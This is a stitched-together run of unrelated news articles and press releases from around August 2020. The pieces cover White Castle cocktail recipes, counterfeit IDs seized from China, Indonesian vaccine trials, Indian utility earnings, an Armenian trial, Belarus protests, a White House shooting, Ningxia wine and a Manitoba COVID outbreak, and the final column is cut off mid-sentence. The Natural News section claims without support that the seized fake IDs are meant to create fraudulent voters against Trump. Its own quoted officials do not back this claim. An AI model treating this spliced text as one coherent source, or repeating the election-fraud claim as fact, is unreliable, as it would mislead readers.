delightful custom self-made drink and a mouth-watering White Castle Slider. Pictured is the "Orange Afterglow cocktail accompanying the Original Slider. Cocktails and Craves are White Castles suggested food and drink pairings, each one featuring a delightful custom self-made drink and a mouth-watering White Castle Slider. Pictured is the "Midnight Merlot Punch cocktail alongside the Cheese Slider. Cocktails and Craves are White Castles suggested food and drink pairings, each one featuring a delightful custom self-made drink and a mouth-watering White Castle Slider. Pictured is the "Castillo Rosado Margarita cocktail with the Jalapeno Cheese Slider. White Castle just released its third Cocktails and Craves" pairing "Midnight Merlot Punch" and a hot and tasty Cheese Slider. The custom punch recipe features Merlot wine and Sprite raspberry topped with a garnish of mint and fruit. Earlier this summer, White Castle introduced its "Orange Afterglow" to accompany the Original Slider and its "Castillo Rosado Margarita," an ideal complement to a Jalapeno Cheese Slider. "We're making it easy for people to mix it up at home with our Cocktails and Craves pairings," said Jamie Richardson, vice president of White Castle. "We created these to help people enjoy the short nights and long days of summer, but now these pairings will be even more appreciated as people spend more late nights at home." Dropbox link to photo assets White Castle enlisted Mr. Gandy, a one-of-a-kind Craver, to introduce its "Cocktails and Craves" pairings and the original cocktail recipes in a series of video posts that have appeared on White Castle's Facebook and Instagram accounts as well as on its website. He encourages Cravers everywhere to enjoy the pairings on hot summer nights or whenever the Crave hits. The Original, Cheese and Jalapeno Cheese Sliders can be picked up at any White Castle drive-through and in freezer aisles at grocery stores across the country. And while White Castle doesn't provide the alcohol, it can provide the cocktail mixer, thanks to its Coca-Cola Freestyle machines, which are found in virtually every White Castle restaurant. Cravers can also purchase Coca-Cola brands and flavors from their favorite retail store and experiment with recipes at home. "We're all about good food and good fun," Richardson said. "The long days and short nights won't last long, so we want to help make every moment count." White Castle social media posts are featuring a coupon for a complimentary 30-ounce medium drink from one of its Coca-Cola Freestyle machines. No purchase is necessary. The offer expires Aug. 31. Here are the recipes for the custom cocktails. Cravers are encouraged to share their own original cocktail recipes using the hashtag #CocktailsAndCraves. Please drink responsibly. 1. Orange Afterglow (perfect complement to the Original Slider) 12 oz. lager beer 4 oz. Seagram's Ginger Ale orange orange 1 orange slice, for garnish Pour the beer into a chilled pint glass. Gently add the Seagram's Ginger Ale orange. Garnish with a fresh orange slice. Serve. 2. Castillo Rosado Margarita (perfect complement to a Jalapeno Cheese Slider) 1 lemon wedge, for rimming glasses 2 c. ice c. fresh lemon juice c. triple sec 1 c. tequila 2 c. Minute Maid pink lemonade 4 lemon slices, for garnish Rub a lemon wedge around the rim of four glasses, then dip rims into salt. To each glass, add ice, lemon juice, triple sec, tequila and pink lemonade. Stir to combine. Garnish each glass with a lemon slice. Serves 4. 3. Midnight Merlot Punch (perfect complement to a Cheese Slider) 5 oz. Merlot red wine 6 oz. Sprite raspberry Ice 1 orange slice, for garnish 1 pineapple chunk, for garnish 1 strawberry slice, for garnish 1 lemon wedge, for garnish 1 mint sprig, for garnish Fill a tall glass with ice and top with the Merlot. Gently add the Sprite Raspberry. Garnish with the orange slice, pineapple chunk, strawberry slice, lemon wedge, and mint before serving. About White Castle White Castle, America's first fast-food hamburger chain, has been making hot and tasty sliders as a family-owned business for almost 100 years. Based in Columbus, Ohio, White Castle started serving The Original Slider in 1921. Today White Castle owns and operates more than 360 restaurants dedicated to satisfying customers' cravings morning, noon and night and sells its famous fare in retail stores nationwide. The Original Slider, named in 2014 as Time Magazine's most influential burger of all time, is served alongside a menu of creatively crafted sliders and other mouthwatering food options, including White Castle's Impossible Slider, named by Thrillist in 2019 as the "Best Plant-Based Fast Food Burger." White Castle's commitment to maintaining the highest quality products extends to the company owning and operating its own meat processing plants, bakeries and frozen-food processing plants. White Castle is known for the legendary loyalty of its team members, more than 1 in 4 of whom have worked for White Castle for at least 10 years, and of its faithful fans, affectionately referred to as Cravers, many of whom compete each year for entry into the Cravers Hall of Fame. The official White Castle app, available at iTunes App Store or Google Play , makes it easy for Cravers to access sweet deals and place pickup orders any time. They can also have their orders delivered using one of White Castle's delivery partners. For more information on White Castle, visit whitecastle.com. SOURCE White Castle Related Links http://whitecastle.com (Natural News) While Democrats continue to push the fiction that President Donald Trump is a Manchurian candidate beholden to Vlad Putin and Mother Russia, the real threat to the republic is coming from further east: China. Not only is Chinas economy 14 times bigger than Russias annual GDP (Moscow even falls behind Brazil, by the way), Beijings global influence is far more advanced and much more pervasive, giving the ruling Communist Party an unparalleled advantage when it comes to global meddling. That helps explain how China could duplicate the technology that goes into creating American documents like drivers licenses, no doubt for the purposes of creating tens of thousands of fake voters who will cast ballots against President Trump. Fox10 reports: Advances in technology may have made counterfeiting more difficult but crooks keep finding a way to stay in business. In fact, federal customs officers have seized 1,513 shipments from overseas containing fraudulent documents19,888 counterfeit U.S. drivers licenses just at Chicago OHare International Airport this year through the end of June. Most of the shipments came from Hong Kong and mainland China, according to U.S. Customs and Border Protection. Other shipments came from South Korea and the U.K. These counterfeit drivers licenses can lead to disastrous consequences, CBPs Ralph Piccirilli said in a statement. Criminal organizations use these counterfeit IDs to avoid attracting attention to their illegal activities. It gets worse. The CBP official noted that most of the phony IDs were for college-age students, and that most had the same photos but came with different names. Alarmingly, CBP officials discovered that the barcodes on the fake Michigan licenses were functional. These fraudulent identity documents can lead to identity theft, worksite enforcement, critical infrastructure protection, fraud linked to immigration-related crimes such as human smuggling and human trafficking, the CBP said in a news release. The agency noted further that these documents can be used by those individuals associated with terrorism to minimize scrutiny from travel screening measures. Piccirilli noted further that the licenses were very realistic and he praised his officers for being able to identify them and single them out. But it makes you wonder: How many more have gotten through? In April, CBP said in a press release that the agency was witnessing an uptick in the smuggling of fake documents at the Dallas-Fort Worth airport: In the last six months, CBP officers at DFW intercepted nearly 900 counterfeit drivers licenses that were delivered via international shipping services to the Dallas area. Approximately 2000 fake IDs have been seized over the last 18 months. What is most disconcerting about theses interceptions, besides the volume which we are experiencing, is the ease in which so many young people freely share their personal information with counterfeiters abroad, said CBP Port Director Timothy M. Lemaux, Area Port of Dallas. Well continue to collaborate with local law enforcement to educate the public, and anyone who is contemplating purchasing a counterfeit ID online, on the potential dangers of sharing your personal identifiable information with a criminal element. How do we know these IDs will be used to oppose Trump? Because U.S. intelligence officials have said recently that Chinese President Xi Jinping, who has been bested regularly by our top negotiator president, wants the hapless Joe Biden to win in November; he knows he can manipulate Biden, whose son reportedly has ties to a Chinese state-run bank. William Evanina, who leads the National Counterintelligence and Security Center, said that the U.S. government has assessed that China prefers President Trump losing the election, because Beijing considers him unpredictable, while Russia is working to undermine Democrat Joe Biden, NPR reported this week. If China can mass-ship fake IDs into the U.S., you better believe that the 2020 election is definitely in play. Sources include: NaturalNews.com Fox10Phoenix.com CPB.gov The Washington Post is providing this news free to all readers as a public service. Follow this story and more by signing up for national breaking news email alerts. Source: Xinhua| 2020-08-11 17:29:18|Editor: huaxia Video Player Close Indonesian President Joko Widodo (R) inspects the COVID-19 vaccine trials and production facilities when he visits a state-owned pharmaceutical company at Bandung, in West Java, Indonesia, on Aug. 11, 2020. Indonesian President Joko Widodo has expressed his hope that the third phase of the clinical test on anti-coronavirus vaccine would be completed within six months. The vaccine candidate is currently developed by China-based biopharmaceutical company Sinovac Biotech in partnership with Indonesia's state-owned pharmaceutical holding company PT Bio Farma. (Indonesian Presidential Palace/Handout via Xinhua) JAKARTA, Aug. 11 (Xinhua) -- Indonesian President Joko Widodo has expressed his hope that the third phase of the clinical test on anti-coronavirus vaccine would be completed within six months. The vaccine candidate is currently developed by China-based biopharmaceutical company Sinovac Biotech in partnership with Indonesia's state-owned pharmaceutical holding company PT Bio Farma. On Tuesday, President Widodo, popularly known as Jokowi, visited the hospital of Padjajaran University's School of Medicine in West Java, where the test is taking place. On the occasion, Jokowi was observing in-person the trial which was participated in by 1,620 volunteer patients. "We hope that by January 2021, we will start producing (the vaccine). Also, after the production has been completed, the vaccines would immediately be given to the public in the country," said Jokowi. He said that Bio Farma is ready to produce up to 250 million vaccines per year. As of Tuesday, according to the Health Ministry, Indonesia, Southeast Asia's most populous country, has recorded 127,083 cases with 5,765 people having died of the virus. Government-owned Power Grid Corporation has posted 18 per cent fall in its consolidated profit after tax of Rs 2,048 crore during the April to June quarter. In Q1 FY20, the profit after tax stood at Rs 2,503 crore. However, its revenue from operations in Q1 FY21 went up to Rs 9,457 crore from Rs 9,180 crore in the same period of the previous year. During the quarter ended June, the company recognised as an exceptional item the one-time consolidated rebate of Rs 1,075 crore to distribution and power departments of states and union territories. This was for passing on the benefit to end-consumers on account of Covid-19 pandemic against the billing of April and May. Power Grid incurred a capital expenditure of Rs 1,906 crore and capitalised assets worth Rs 1,184 crore on a consolidated basis. Its gross fixed assets on a consolidated basis stood at Rs 2.28 lakh crore as on June 30. Major transmission elements commissioned during the quarter include 400kV D/C Hiriyur-Mysore line and ICTs at Meerut, Koteshwar and Balipara substations. Further, long pending 400kV D/C Rajarhat-Gokarna transmission line was commissioned in July. A total of eight tariff-based competitive bidding subsidiaries were operational and 11 were under implementation as at the end of June. With the use of maintenance techniques, automation and digitisation, Power Grid maintained average transmission system availability of 99.83 per cent for Q1 FY21. The total transmission assets stood at 1.63 lakh circuit km of transmission lines, 248 substations and more than 4.13 lakh MVA of transformation capacity. The court hearing over the case of second President of Armenia Robert Kocharyan and other ex-officials has been postponed until September 8. At the outset of todays court hearing, Judge Anna Danibekyan informed the attendees that the court has received the statement by ex-official Yuri Khachaturovs attorney Mihran Poghosyan according to which Poghosyan wont be attending the court hearing due to issues that have suddenly emerged, and Khachaturov informed that he cant call another attorney. Prosecutor Gevorg Baghdasaryan said the attorneys explanation was disrespectful and declared that the aim of the attorneys statement is to postpone the court hearings, after which Robert Kocharyans attorney Aram Vardevanyan asked how a prosecutor could make such a statement. The judge informed that on August 5, attorney Vardges Gevorgyan had informed that he will no longer be the attorney of former Deputy Prime Minister Armen Gevorgyan, and the latters other attorney, Erik Alexanyan informed that he will be on leave until September 11. In this regard, the attorney asked to postpone todays court hearing. The news made the defendants burst into outrage and blame the attorneys for delaying the process. The attorneys were reminded that the right to leave is enshrined by the Constitution, and the plaintiff hadnt gone against the judges leave. Tigran Yegoryan, attorney of one of the plaintiffs, filed a motion with the court to engage public defenders in order to defend the interests of the accused-on-trial in order to rule out such situations. Attorney Hayk Alumyan drew the courts attention to the fact that Yegoryan had formulated his speech as an expression of his position and added that a motion cant be considered now. The judge agreed that it cant consider the motion now and recommended that Yegoryan reiterate the motion later. The judge also affirmed that everyone has the right to be on leave. BROOKLYN, N.Y., Aug. 11, 2020 /PRNewswire/ -- Attorney John Bonina of Bonina & Bonina, P.C., a Brooklyn personal injury law firm with more than a half century of experience helping injured New Yorkers, recently appeared before an online forum of the New York State Academy of Trial Lawyers to update members on litigating New York Child Victims Act cases. Attorney John Bonina recently appeared before an online forum of the New York State Academy of Trial Lawyers to update members on litigating New York Child Victims Act cases. Earlier this month, New York Governor Andrew Cuomo signed legislation that extended the window of time that child sexual abuse victims have to file claims under the Child Victims Act to August 14, 2021. The Child Victims Act went into effect in February 2019 to ensure that survivors of child sexual abuse had a path to justice to hold their abusers accountable both criminally and civilly regardless of when the crime occurred. On August 6, 2020, Bonina participated in a webinar hosted by the New York State Academy of Trial Lawyers on "The Road to Recovery: Litigating NY Child Victims Act Cases." Bonina spoke on identifying causes of action, talking to survivors of abuse, pleadings, and statute of limitations issues. "We are proud to stand with the survivors of childhood sexual abuse, and to fight for them and with them," said Bonina. "Together we fight for survivors' rights to reclaim control over their lives, and to seek redress for horrific abuse that all too often leaves deep and long-lasting emotional scars." The Brooklyn personal injury attorneys at Bonina & Bonina, P.C., have a 58-year history of helping New Yorkers injured by unsafe practices and products. The firm has been recognized for obtaining multi-million dollar verdicts and settlements for New Yorkers injured by medical malpractice, construction accidents, motor vehicle accidents, defective products, and other acts of negligence. For more information, visit medlaw1.com. Contact: Andrea Bonina Phone: 718-522-1786 Email: [email protected] SOURCE Bonina & Bonina, P.C. Related Links https://medlaw1.com The economic basis of the recent protests around the world. By Romaric Godin | November/December 2019 Translation by Fred Murphy This article is from Dollars & Sense: Real World Economics, available at http://www.dollarsandsense.org This article is from the November/December 2019 issue. The current global social tensions have in common the rejection of inequality and the loss of democratic control. The engine driving these challenges may well be the fading relevance of neoliberalism, which is aggravating its own crisis and opening the door to confrontation. The military is in the streets of Santiago, Chile; Urquinaona Square is in flames in Barcelona; and barricades are bristling in the streets of Beirut. While political and media circles in France are upset about a veil [A reference to ongoing debate in France over laws that bar the wearing of overt religious symbols, including in particular veils worn by Muslim women. Translator], the world seems to be ablaze. In fact, the scenes of violent riots that have marked recent days are not isolated. They come after similar scenes in Ecuador, Haiti (where the popular uprising continues), Iraq, Egypt, Indonesia, Hong Kong, and Colombia, not to mention earlier movements in Zimbabwe, Nicaragua, Romania, Serbia, and, of course, the Yellow Vests movement in France. It is of course possible to see in all of these events only local movements responding to specific cases: endemic poverty in Haiti, persisting militarism among the Chilean right, the partial or total dollarization of the Ecuadorian and Lebanese economies, the refusal by Spain to recognize the Catalan question, and the democratic aspirations of Hong Kong. None of these explanations are wrong, but are they sufficient? Local social or democratic movements have always existed, but whether we like it or not, the peculiarity of the moment is that they have arisen at the same time. Inevitably, the contemporaneity of revolts on five continents suggests that they are indeed linked in certain ways. Neoliberalism Seeks to Survive and Aggravates Its Own Crisis The connection could well be found in the great crisis the world entered in 20072008. Beyond what most observers rememberthe Great Crash that followed the collapse of Lehman Brothers on September 15, 2008the crisis is much deeper and persists to the present day. Because it is not a simple financial or economic crisis: it is rather the crisis of a mode of managing capitalism; that is, neoliberalism, which is based on putting the state at the service of capital, the financialization of the economy, and the commodification of society. Like the crises of the 1930s or 1970s, the current crisis profoundly challenges the contemporary functioning of capitalism. Such crises are often long and accompanied by periods of unrest. As the historian Adam Tooze has shown in The Deluge (2014), the disruption of capitalism began not with the 1929 crash but rather during the World War I and was not actually resolved until after World War II. As for neoliberalism, it only came fully into being in the 1990s, 20 years after the previous paradigm had gone into crisis. Even todays crisis has been prolonged and deepened as neoliberalism struggles to avert its own demise. But in seeking to survive, it is pushing the world into the abyss. Of course, neoliberalism survived the shock of 2008 and even emerged from 2010 strong enough to present solutions such as global fiscal austerity and structural reforms aimed at destroying any remaining protection for workers and the most precarious. But by seeking to remain dominant, neoliberalism has further deepened its own crisis. The initial salvation of the global economic system was indeed a leap forward in growth, led mainly by a Chinese regime anxious to continue fueling Western demand, the lifeblood of Chinas economic system. But this headlong rush has resulted in unprecedented industrial overproduction, which in turn plays no small part in brutally exacerbating the climate crisis. Some figures will show this easily: China produces in two years more steel than the United Kingdomlong the worlds largest steelmakerproduced in 150 years; and more cement than the United States produced during the whole of the 20th century. This strategy has failed. It has led to retrenchment in the Chinese economy that is hitting its emerging suppliers directly, from Brazil and Argentina to Ecuador and Venezuela. All have experienced sharp declines in demand for raw materials and have had to adjust their policies accordingly. The other engine for safeguarding neoliberalism has been the use of monetary policy to avoid fiscal stimulus in Western countries. In fact, this has only succeeded in rescuing the financial sector and large multinational groups. In other respects the neoliberal rescue plan has failed profoundly. Global growth has not recovered, and productivity growth is stagnant despite the technological revolution. The private sector invests too little and often badly. In recent months, the global economy has entered a phase of further slowdown. In these conditions, the continued application of neoliberal reforms to safeguard corporate profit margins and the incomes of the wealthiest has also had an aggravating effect. As we have seen, profits are badly invested or little invested, productivity growth continues to slow, and the wealth available to be shared is less abundant. But since, in response to this slowdown, priority is still given to the rich and to businesses, and inequalities widen even more for those who are investing little or nothing. According to this logic, as soon as an adjustment becomes necessary, the greatest effort is demanded from those who can least afford itthrough use taxes like that on WhatsApp calls in Lebanon, through the removal of fuel subsidies in Ecuador and Haiti, or through increased charges for public transport in Chile. All such measures have a direct impact on peoples needs for work and income generation. Even if growth-rate differentials should bring emerging economies in closer sync with those of so-called advanced countries and thus reduce inequalities at the global level, inequalities within nations are widening more than ever. This was the conclusion reached by the economist Branko Milanovic in Global Inequalities (2016), who foresaw the return of the question of social class. Thus it is a resurgence of class struggle that we are now witnessing at the global level. For a long time, it was thought that criticizing neoliberalism was a privilege of the rich reserved for those in the most advanced countries who failed to grasp its benefits. It was argued that rising inequality was the price to be paid for development. And we had to accept it in the name of those people who were being lifted out of poverty. But that discourse can no longer work, and that is the novelty of the current situation. The challenge reaches the emerging countries. The first blows were struck in Brazil in 2013 with the downturn in the commodities market and an unprecedented social movement against the move to increase the cost of public transport under Dilma Rousseff, seen by some as a turn toward neoliberalism by the Partido dos Trabalhadores (Workers Party). Since then, the wave has intensified and is now affecting countries like Chile that have long been hailed by international institutions as exemplars of success and stability. In these emerging countries, the hold of neoliberalism is at the breaking point. The need for growth and competition leads to a stalemate: as growth slackens, the reality of inequality becomes evident, while past increases in living standards fail to keep up in a context of slowing global trade. The mirage that living standards might catch up to those in the most advanced countries, the great neoliberal promise, disappears with measures like those already mentioned. No solution is presented to these populations other than fresh impoverishment. Return of the Social Question Neoliberalism is helpless. Locked in its logic of extractivism and fictional growth, it clutches onto phantoms: the trickle-down theory, the Laffer curve, or the Coase Theorem, which holds that issues of distributive justice must be kept separate from economic reality. It does so thanks to another of its salient features: the management of democracy, whereby the economic sphere must not be subjected to democratic decision-making but must be preserved from the feelings of the crowd or, to use President Emmanuel Macrons notorious phrase, unfortunate passions (passions tristes). But such segregation is less and less possible as inequalities deepen and the climate crisis becomes more acute. After five decades of managed democracy, people are demanding that their own emergencies be addressed instead of those of markets or investors. The current crisis of neoliberalism has three aspects: an ecological crisis, a social crisis, and a democratic crisis. The current economic system is unable to respond to these three profound sources of discontent. Faced with an ecological emergency, it puts forward market solutions and fiscal repression of consumption by the weakest. In the face of social and democratic demands, its response is indifference. In fact, responding to such demands would require a profound change in the economic paradigm. Addressing the climate crisis would require a complete reorientation of investments and an end to basing the economy solely on real estate and financial bubbles. This would imply a complete overhaul of the monetary system. The seeds of such a transformation are shown in the Green New Deal that has been proposed in the United States, which has struck fear among neoliberal economists, because if the legislation is enacted the climate transition would no longer entail weakening the working class but acting in concert with them. By ensuring a massive redistribution of resources to the detriment of the richest, the more modest classes could achieve better livelihoods without destroying the planet. Finally, greater popular participation could assure that such decisions are not made for the benefit of the richest and for capital, but in the common interest. This is exactly what neoliberalism has always rejected: this ability of democracy to change the economic dealprecisely what the world needs today. In other words, these three emergencies and three requirements are deeply linked. Resolving the social question is necessarily a democratic and ecological question. But since such changes are wholly rejected by neoliberalism and the states that operate under its logic, it remains for people in the streets to express their needs. This is what is crystallizing today. Depending on the region, the priorities may be different, but the same system is being challengedglobal neoliberalism. Moreover, all movements are undergoing an evolution in terms of these democratic and social questions, and in some cases ecological concerns are also coming to the fore. Everywhere, therefore, the challenge is profound and touches on the economic, social, and political systems. In a video broadcast on social networks on October 19, Spanish police were seen clubbing Catalan independence demonstrators in the streets of Barcelona. On the wall, graffiti in Catalan can be seen: aco es llutta de classethis is class struggle. Behind the Catalan national question has always been the demand for a more just and redistributive society. When repression strikes, this reality takes over. The desire to regain democratic control in Catalonia also reflects social and ecological priorities. (One of those convicted by the Spanish courts, Raul Romeva, was elected to political office and was a scholar of international relations before joining the independence movement.) In France, the Yellow Vests movement did not stop with a simple tax revolt, nor did a rollback in the carbon tax stop the movement. The movement called into question the practice of democracy and the governments anti-redistributive policy. It has even joined forces with environmentalists, as shown by the joint occupation of the Italie Deux shopping mall by hundreds of Yellow Vest and Extinction Rebellion activists in early October. Anxieties about the end of the monthhow youre going to pay your billshave begun to converge with anxieties about the end of the world. In Ecuador, the situation is quite similar: The fight against the end of fuel subsidies has highlighted the extent of inequalities affecting indigenous populations, who have for years been in revolt against the extractivist logic of governments looking to bring in dollars. In Lebanon, where just seven people own wealth equivalent to one-quarter of the countrys GDP, mass protests rejected privatizations and increased taxesmeasures that were supported by an all-party national unity government. This link between social movements and democratization is also evident in Chile. And in Hong Kong, democratic protests against a Chinese regime that seeks at all costs to cover up the crisis of its economic model have taken a clear social turn. This is only the beginning. There is no hope that the crisis of neoliberalism will be resolved quicklyquite the contrary. To social pressures will be added repeated climate disasters, such as those experienced in the Caribbean in recent years, which will only degrade social conditions further. Above all, states seem unable to find solutions other than those found in the neoliberal playbook. Admittedly, in Ecuador or Lebanon, the protesters have seen some results with the withdrawal of austerity measures and increased taxes on the poor, respectively. In Lebanon, a redistributive measure, a tax on bank profits, was even granted. But such victories are fragile and, as we have seen, they do not resolve either the underlying problems or the democratic demands. Confronted with this ongoing conflict and the challenge to its effectiveness, neoliberalism could harden and take cover behind the legitimate violence of the state to survive. Like Emmanuel Macron in France, who condones police violence, so it was with Pedro Sanchez in Spain, who visited only wounded police in Barcelona on October 21, or with Sebastian Pinera, the Chilean president invited to the G-7 meeting in Biarritz in September, who made his announcement with military figures standing by as in the days of Augusto Pinochet. Pinera openly declared to the demonstrators, We are at war. The social war thus becomes global and it pits neoliberalism and its defenders against their opponents. Given the violence of this war and the rulers inability to move beyond neoliberalism, state defense of the interests of capital may converge with neo-fascist and nationalist movements, as has been the case for quite some time in the countries of Eastern Europe, or more recently in English-speaking countries, and now also in India and China. The stability that capital so urgently demands can only be achieved through the militarization of society to accompany its commodification. Neoliberalism has proved that it is not incompatible with such an evolution: its original laboratory was Pinochets Chile, a country where freedom was locked down but where foreign capital was quite welcome. This return of history is a sinister omen, one that calls for urgent reflection about the construction of a social, ecological, and democratic alternative. is a journalist specializing in macroeconomics. He has written on Germany and France for the Paris weekly La Tribune (20002017) and for Mediapart since 2017. studied and taught historical sociology at The New School for Social Research. He is affiliated with the Marxist Education Project in New York, where he leads study groups on Marxism, science, and the environment. He is active in the Democratic Socialists of Americas Ecosocialist Working Group. Adam Tooze, The Deluge: The Great War, America and the Remaking of the Global Order, 19161931 (Allen Lane, 2014); Branko Milanovic, Global Inequalities: A New Approach for the Age of Globalization (Harvard University Press, 2016). The original version of this article in French appeared in Mediapart ( mediapart.fr ) on October 21, 2019.Adam Tooze,(Allen Lane, 2014); Branko Milanovic,(Harvard University Press, 2016). Did you find this article useful? Please consider supporting our work by donating or subscribing. Protesters clashed with police on Monday night as protests continued in Belarus for a second straight night Monday after official results from weekend elections gave an overwhelming victory to authoritarian President Alexander Lukashenko, extending his 26-year rule until 2025. Lukashenko responded with a tough crackdown on demonstrations, deriding the opposition as "sheep" manipulated by foreign masters. On Monday evening, scattered groups of opposition supporters began gathering in downtown Minsk, chanting "Freedom!" and "Long live Belarus!" A heavy police contingent blocked central squares and avenues, moving quickly to disperse protesters and detained dozens. Later, about 1,000 protesters gathered near a big shopping mall in downtown Minsk, and police used flash-bang grenades and rubber bullets to disperse them. Dozens were injured on Monday, when police brutally broke up protests. One person died after the explosive detonated in his hands, spokeswoman for Belarusian Interior Ministry wrote in her telegram channel. The Viasna rights group said protesters also gathered in several other Belarusian cities, including Brest, Mogilev and Vitebsk, where detentions also took place. The police crackdown drew harsh criticism from European capitals and will likely complicate Lukashenko's efforts to mend ties with the West amid tensions with his main ally and sponsor, Russia. Washington, Aug 11 : US President Donald Trump was temporarily escorted by a Secret Service agent from an ongoing coronavirus briefing after a shooting was reported outside the White House. "There was an actual shooting, and somebody has been taken to the hospital. I don't know the condition of the person," Xinhua news agency quoted Trump as saying on Monday after he returned to the White House briefing room minutes later. "It seems to be very well under control," Trump said. "It was the suspect that was shot." No one else was injured, according to the President, adding that he was taken to the Oval Office when he was evacuated. Treasury Secretary Steven Mnuchin and Office of Management and Budget (OMB) Director Russell Vought were also in attendance for the briefing and shuffled out behind Trump. Taking to Twitter about the incident, the Secret Service said: "The Secret Service can confirm there has been an officer involved shooting at 17th Street and Pennsylvania Ave. "Law enforcement officials are on the scene. More information to follow." In a subsequent tweet, Secret Service said the suspect involved was a male and that an officer was also injured and taken to the hospital, The Hill news website repored. "At no time during this incident was the White House complex breached or were any protectees in danger." A chaotic scene unfolded in the moments after Trump was pulled from the briefing. Armed Secret Service officers were seen stationed on the North Lawn of the White House as reporters inside the building scrambled to learn the cause of the lockdown. The incident was not the first time agents felt Trump's safety was threatened, but it was by far the most visible, as the briefing was being broadcast live, said The Hill news report. In May, Trump was taken to the secure bunker amid violent protests just outside the White House. Access to the White House complex has been more restricted amid the coronavirus pandemic and in the aftermath of the protests against racial injustice. Additional fencing has been in place near the White House and nearby Lafayette Square dating back to early June. -- Except for the title, this story has not been edited by Prokerala team and is auto-generated from a syndicated feed The eastern foot of Helan Mountain, on the outskirts of Yinchuan, capital of northwest Chinas Ningxia Hui Autonomous Region, is a contiguous area of wine production, which is hailed as a purple business card of the Hui autonomous region. From the first grape seedling planted some 20 years ago, to building a complete industrial chain and influence, the grape wine industry is thriving on this once barren land. Since 1996, China made the collaboration on poverty alleviation between the eastern and western regions a major national strategy. Xi Jinping, who then served as the deputy secretary of the Communist Party of China (CPC) Fujian Provincial Committee, was in charge of Fujians effort to assist Ningxia. Fujian-Ningxia collaboration officially set off since then. Ningxias Xihaigu region was once listed as the most unfit place for human settlement by the United Nations for its barren land and lack of water resource. Fortunately, a resettlement township was founded on the sands of a Gobi desert south to Yinchuan, capital of Ningxia in 1997, absorbing over 40,000 residents from Xihaigu. To commemorate the close bond of collaboration between Fujian (also known as Min for short) and Ningxia (also known as Ning for short), the township was named Minning. Poverty alleviation was carried out simultaneously as Minning started construction and resettlement work, and the grape wine industry was an important pillar for the town to shake off poverty. Entrepreneurs from Fujian believe that the Gobi desert where Minning locates is not an average one. Situated 38.5 degrees north of the Earths equatorial plane, Minning sees low precipitation, long sunshine hours, and high diurnal temperature variation. Besides, the rich minerals in its high-permeable sandy soil offer great growth conditions for wine grapes. With capital and technical input, the Gobi desert of Minning was soon covered by green leaves and filled with the aroma of wine. Thanks to the grape wine industry, the relocated residents from Xihaigu have had stable jobs and increasing income. As a result, they stayed in Minning. Yang Cheng resettled in Minning after living in the mountains for decades, where he planted potatoes and wheat and worried all day for irrigation. Since he moved to the new town, his family all started working in a vineyard. Yang became an electrician after training, and his wife a sanitation worker. Plus, his son drives excavators for the vineyard. The family of three earns over 10,000 yuan ($1,435) per month. The vineyard where Yang's family work is operated by Fujian businessman Chen Qide. Starting on a 6667-hectare wasteland, Chen vows to make the best wine in Ningxia. Now, the wine he makes wins international awards almost every year. As of the end of 2019, the eastern foot of Helan Mountain had a total of 38,000 hectares of vineyards, offering around 120,000 jobs for relocated residents. Poverty alleviation of Minning started from wine making, but never ends with it. Fujian-Ningxia collaboration also includes constructing reliable sales channels and marketing methods. Lai Youwei is a cadre from Dehua, Fujian designated to serve temporary position in Minning. After arriving in Ningxia, he has invited many business people from his hometown to the vineyards in Minning, recommending products to them to expand the sales channel. He also joined a livestream marketing show this May to help sell the wine during which he finished orders of nearly 300,000 yuan. Zhu Wenzhang, from Jinjiang, Fujian, is a wine dealer now working in the eastern foot of Helan Mountain. He introduced an innovative method of shared winery based on his connection with wine dealers who prefer high-quality grape wines. The method helped more than 50 enterprises claim a total of 200 hectares of vineyards as the origin of their production, so that the quality is better controlled. Besides, grape growers dont have to worry about the sales. The grape wine industry witnessed the efforts and results of Fujian-Ningxia collaboration over the past 20 years, and helped many families realize their dream of getting rich. Today, Fujian-Ningxia collaboration is still upgrading, aiming to achieve more splendid targets. An outbreak of COVID-19 infections in Brandon has revealed an ugly but inescapable reality about pandemics. They are not just public health crises; they are also a profound test of our collective capacities for fairness and tolerance. Hey there, time traveller! This article was published 10/8/2020 (526 days ago), so information in it may no longer be current. An outbreak of COVID-19 infections in Brandon has revealed an ugly but inescapable reality about pandemics. They are not just public health crises; they are also a profound test of our collective capacities for fairness and tolerance. Over the past two weeks, a cluster of new COVID-19 cases has erupted in Brandon, likely tied to a single traveller returning home from points east of Manitoba who did not strictly follow the 14-day quarantine requirements. At Monday's count, that cluster had grown to 64 cases, 22 of whom work at the Maple Leaf Foods meat packing plant in Brandon. All of which begs the question how did so many people become infected so quickly? Lamentably, neither Dr. Brent Roussin, Manitoba's chief public health officer, nor Health Minister Cameron Friesen, were willing to provide much of an answer. On Monday, as they have for the past two weeks, Roussin conceded the Brandon cluster was likely due to a lack of adherence to public health protocols, including hand hygiene and social distancing. Beyond that, not much else was offered. How tight-lipped is the province's top doctor? To date, despite widespread media coverage, Roussin will not even say the words "Maple Leaf Foods" in his briefing, referring to the plant as "a Brandon business." What is Roussin not saying, and why is he not saying it? There are intriguing hints coming from other sources. Last week, Maple Leaf Foods CEO Michael McCain issued a statement to clarify that, although some of the individuals who have tested positive in the Brandon cluster work at his plant, they are not contracting the disease at work. In particular, McCain stated that the Maple Leaf workers who had tested positive "are linked to community gatherings and interactions." He urged the City of Brandon to take more stringent steps to get all citizens to "adhere strictly to social distancing within the community, including mask usage throughout the community continuously." Maple Leaf workers who had tested positive "are linked to community gatherings and interactions." Maple Leaf Foods CEO Michael McCain McCain would not say exactly who he was talking about, but the evidence is growing that innocent community gatherings involving tightly knit communities of immigrant workers, most of whom have come through the province's provincial nominee program, are the victims of this cluster. This is where we get to test our capacity for fairness and tolerance. Concerns about individuals and communities being stigmatized or discriminated against because of COVID-19 are real and pressing. Under threat, it's easy to give in to our baser instincts and punish those who we believe are responsible for perpetuating the virus. Those baser instincts are, of course, completely erroneous. Science is clear: although some people are more vulnerable because of socio-economic factors, the virus cares little about the age, gender, ethnicity or religious beliefs of its victims. These were the exact concerns expressed in April when two huge outbreaks of COVID-19 cases in Alberta were tied to two meat-packing plants where the majority of workers were either immigrants or temporary foreign workers. And in Ontario last June, when hundreds of cases were tied to migrant farm workers. JESSE BOILY / WINNIPEG FREE PRESS Neither Dr. Brent Roussin, Manitoba's chief public health officer, nor Health Minister Cameron Friesen, left) were willing to provide much of an answer to the question, how did so many people become infected so quickly? Those stories ultimately revealed that it was sub-standard living and working conditions, and not the ethnic profiles of the temporary foreign workers, that was at the heart of those clusters. Similar concerns arose here when the province identified outbreaks in five Hutterite colonies, two of which voluntarily isolated all community members. The outbreaks were tied to recent travel to Alberta. Following widespread media reports, senior 